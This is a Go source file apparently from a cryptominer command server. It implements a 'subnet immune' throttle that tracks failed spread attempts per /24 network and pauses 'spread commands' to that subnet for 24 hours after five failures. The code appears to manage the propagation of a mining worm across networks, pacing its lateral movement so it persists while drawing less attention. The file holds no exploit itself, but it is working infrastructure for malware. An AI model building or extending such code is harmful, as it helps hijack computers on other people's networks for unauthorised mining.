package atlas

import (
	"strings"
	"time"

	"crypto-miner-server/internal/db"
)

const (
	SubnetSpreadFailureThreshold = 5
	SubnetSpreadPauseDuration    = 24 * time.Hour
)

// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
type SubnetImmune struct {
	db *db.Database
}

func NewSubnetImmune(database *db.Database) *SubnetImmune {
	return &SubnetImmune{db: database}
}

// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
func PrefixFromHostOrIP(hostOrSubnet string) string {
	s := strings.TrimSpace(hostOrSubnet)
	s = strings.TrimSuffix(s, ".x")
	s = strings.TrimSuffix(s, ".0/24")
	s = strings.TrimSuffix(s, "/24")
	if prefix := SubnetPrefix(s); prefix != "" {
		return prefix
	}
	parts := strings.Split(s, ".")
	if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
		return strings.Join(parts[:3], ".")
	}
	return ""
}

// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
	if s == nil || s.db == nil {
		return false, nil
	}
	prefix := PrefixFromHostOrIP(hostOrSubnet)
	if prefix == "" {
		return false, nil
	}
	return s.db.RecordSubnetSpreadFailure(prefix)
}

// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
	if s == nil || s.db == nil {
		return false, nil
	}
	prefix := PrefixFromHostOrIP(hostOrSubnet)
	if prefix == "" {
		return false, nil
	}
	return s.db.IsSubnetSpreadPaused(prefix)
}

// SpreadActionBlocked returns an error when prefix is under immune pause.
func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
	paused, err := s.IsSpreadPaused(hostOrSubnet)
	if err != nil {
		return err
	}
	if paused {
		return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
	}
	return nil
}

// SpreadPauseError is returned when a /24 is under subnet immune response.
type SpreadPauseError struct {
	Prefix string
}

func (e *SpreadPauseError) Error() string {
	if e == nil || e.Prefix == "" {
		return "subnet spread paused (immune response)"
	}
	return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
}